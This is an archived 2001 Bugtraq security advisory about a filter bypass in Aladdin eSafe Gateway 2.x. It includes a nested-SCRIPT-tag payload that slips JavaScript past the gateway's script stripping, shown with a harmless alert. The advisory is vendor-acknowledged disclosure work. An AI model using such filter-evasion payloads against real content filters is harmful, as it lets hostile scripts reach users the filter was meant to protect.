Bugtraq mailing list archives

Aladdin eSafe Gateway Filter Bypass - Updated Advisory

From: "eDvice Security Services" <support () edvicetech com>
Date: Tue, 29 May 2001 23:41:39 +0200
29 May 2001

This is the first of 3 sequential advisories we are issuing today regarding
Aladdin eSafe Gateway.
This advisory replaces our advisory from 16 May 2001.

Status
---------
The entire content of this advisory was reviewed and acknowledged by
Aladdin.
The vulnerability reffers to version 2.X of the product and not to version
3.0 (as was presented in our previous advisory).
Please see our following two advisories for vulnerabilities in version 3.0.

Product Background
--------------------------
eSafe Gateway is an Internet Content Security product.

You can configure eSafe Gateway to remove scripts (VBScripts, JavaScripts)
and other executable tags from incoming HTML documents. Alternatively, the
administrator can ban certain scripting commands from appearing inside
scripts. The banned commands will be removed, while the rest of the HTML
page is left intact.

Scope
---------
eDvice recently conducted a test of eSafe's ability to remove scripts from
HTML documents. Although scripts are widely used by many web-sites, some
organizations requesting to allow only limited use of Internet access from
their internal network, prefer to disable scripting capabilities in order to
avoid various known, as well as yet to be found, browser-based attacks.

The Findings
------------------
eSafe gateway analyzes the incoming HTML file and searches for the keyword
"<SCRIPT'. From the moment the keyword was found, eSafe looks for a
following "</Script>" keyword and then replaces the entire content between
these keywords with spaces.

On version 2.X of eSafe Gateway, if a "<SCRIPT" keyword follows another
"<SCRIPT" keyword, without any "</SCRIPT>" in between, eSafe ignores the
first "<SCRIPT". This behavior allows the attacker to bypass eSafe's
filtering mechanism, as demonstrated above.

However, it seems that in the release version of eSafe 3.0, the first
"<SCRIPT" keyword is not ignored, and hence this type of attack fails.

Details
---------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>

If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>

</BODY></HTML>

However, if we create the following code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

Solution
-----------
Do not rely on eSafe Gateway version 2.X for HTML filtering.
eSafe Gateway 3.0 is not vulnerable to this attack, see our following two
advisories for vulnerabilities in version 3.0.

====================
Discovered by:
eDvice Security Services
support () edvicetech com
http://www.edvicetech.com
Tel: +972-3-6120133
Fax: +972-3-6954837
Current thread:

Aladdin eSafe Gateway Filter Bypass - Updated Advisory eDvice Security Services (May 29)